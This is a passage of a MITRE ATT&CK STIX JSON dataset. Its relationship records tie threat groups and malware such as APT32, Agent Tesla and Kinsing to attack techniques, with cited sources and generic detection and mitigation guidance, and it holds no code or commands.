Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020.","url":"https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:04:16.523Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has distributed cryptomining malware.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46c4ce23-1285-49e5-92a0-863251af60cd","type":"relationship","created":"2020-11-19T17:07:09.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.667Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can open a command line to execute commands.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46c7e21b-ac5d-48c7-8145-44920d43deab","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor executed commands and arguments that may gather information about the victim's DNS that can be used during targeting.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46d350be-fcde-4c7a-ac75-d86c8f5ccd5f","created":"2021-01-22T18:25:52.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.419Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) to encapsulate C2 in DNS traffic.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46da305e-d59a-42a4-9d2b-cdd223c69664","type":"relationship","created":"2020-07-23T16:50:06.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-23T16:50:06.597Z","description":"[Kessel](https://attack.mitre.org/software/S0487) can create a reverse shell between the infected host and a specified system.(Citation: ESET ForSSHe December 2018)\t","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46dd6393-93c7-4e61-8a47-ceecd5b77589","type":"relationship","created":"2021-04-06T15:53:34.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:40.223Z","description":"[Doki](https://attack.mitre.org/software/S0600)’s container was configured to bind the host root directory.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46e6fd22-1f0b-452c-bcf3-c24fe5911fd4","type":"relationship","created":"2019-04-24T16:33:49.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-03-17T18:48:45.312Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used cmd.exe for execution.(Citation: Cybereason Cobalt Kitty 2017) ","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46e81587-e960-4277-9c3b-af2bdc328176","created":"2023-01-24T00:42:18.605Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-24T00:42:18.605Z","description":"[metaMain](https://attack.mitre.org/software/S1059) registered a WMI event subscription consumer called \"hard_disk_stat\" to establish persistence.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46e84bd8-d38f-43e7-b62b-ea211231abef","type":"relationship","created":"2020-10-27T19:26:38.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.137Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has encoded its C2 traffic with Base64.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46eeb6fa-2dcb-4c86-b79e-8891b2e72566","type":"relationship","created":"2020-03-26T15:53:25.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft More information about DLL","url":"https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/","description":"Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014."},{"source_name":"Microsoft Dynamic Link Library Search Order","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN","description":"Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."}],"modified":"2022-03-09T18:44:33.751Z","description":"Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)","relationship_type":"mitigates","source_ref":"course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46f301cd-8ae3-431a-931b-df4bb4fee271","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}],"modified":"2020-03-11T17:45:33.773Z","description":"[Remsec](https://attack.mitre.org/software/S0125) harvests plain-text credentials as a password filter registered on domain controllers.(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--46f59699-eb38-4987-b06e-b6485793a461","created":"2024-07-19T19:05:36.304Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T19:05:36.304Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) requires users to interact with malicious attachments in order to start [Pikabot](https://attack.mitre.org/software/S1145) installation.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46fa464b-20e0-4c77-9b75-580f9f236c43","type":"relationship","created":"2020-03-17T00:11:31.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus Mar 2019","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."}],"modified":"2020-03-17T03:02:39.724Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.451Z","description":"[Regin](https://attack.mitre.org/software/S0019) stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--471304cd-f98a-49f7-a33e-2d69ab6c8a47","type":"relationship","created":"2020-08-13T16:45:47.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Hancitor","url":"https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/","description":"Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."}],"modified":"2020-08-13T16:45:47.078Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has relied upon users clicking on a malicious link delivered through phishing.(Citation: Threatpost Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4716b9ec-a0d4-47db-a901-5a3b67d9e096","type":"relationship","created":"2020-08-31T15:06:48.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-08-31T15:06:48.160Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware has collected Microsoft Office documents from mapped network drives.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47173be4-dc15-49c6-9e81-cba36c6e6c68","type":"relationship","created":"2020-12-17T16:56:47.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}],"modified":"2020-12-17T16:56:47.265Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can gather credentials from a number of browsers.(Citation: Bitdefender Agent Tesla April 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--471ac6a2-4e6b-4267-8087-c22c707bbc21","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor API calls that could collect data stored in the clipboard from users copying information within or between applications.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--471ea836-ef54-4306-b131-cf66de5811c4","type":"relationship","created":"2021-09-28T19:47:10.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T17:43:50.387Z","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has attempted to convince victims to enable malicious content within a spearphishing email by including an odd decoy message.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--471f9672-c5f0-4620-a7c1-4f48c0ad983c","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor executed commands and arguments that may consist of logon scripts for unusual access by abnormal users or at abnormal times.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4723be88-3553-4c1c-8cd1-8c68b161c1cf","type":"relationship","created":"2021-04-08T18:09:42.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-09T14:32:22.160Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used chmod to modify permissions on key files for use.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47266bcb-b16a-4d95-9c10-bfc48b2f5a8b","type":"relationship","created":"2020-11-13T21:48:16.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.373Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can modify the binary ACL to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--472878d3-3a6a-4ad2-8fcf-e73a74fd48b6","type":"relationship","created":"2020-11-23T22:19:46.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:19:46.857Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has embedded malicious macros within spearphishing attachments to download additional files.(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--472c61e4-e839-4766-b1ce-d9095203e538","type":"relationship","created":"2020-06-22T14:58:06.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.765Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has checked for the existence of specific files including /usr/sbin/setenforce and /etc/selinux/config. It also has the ability to monitor the cryptocurrency miner file and process. (Citation: Trend Micro Skidmap) ","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--47347ee6-ce33-4803-ab9f-b69064d7f06e","created":"2022-04-14T15:33:30.063Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline virtual machine images to identify malicious modifications or additions.","modified":"2022-04-14T15:33:30.063Z","relationship_type":"detects","source_ref":"x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827","target_ref":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4735a1be-c556-4844-9554-d2313376f09a","type":"relationship","created":"2020-03-14T23:23:41.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T17:54:28.384Z","description":"Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1090/004).","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4739d942-9d7f-4d7b-8aaf-af5464f76d44","created":"2024-02-12T20:17:07.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:26:24.839Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) installation includes AutoIt script execution creating a shortcut to itself as an LNK object, such as bill.lnk, in the victim startup folder.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) installation finishes with the creation of a registry Run key.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--473bc8dd-923c-4fda-91ce-c00f00134e10","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--473c46a4-aaeb-41eb-b158-bdfa6eda0d21","created":"2024-02-09T19:35:39.515Z","revoked":false,"external_references":[{"source_name":"Evil WMI","description":"Chad Tilbury. (2023, May 22). Finding Evil WMI Event Consumers with Disk Forensics. Retrieved February 9, 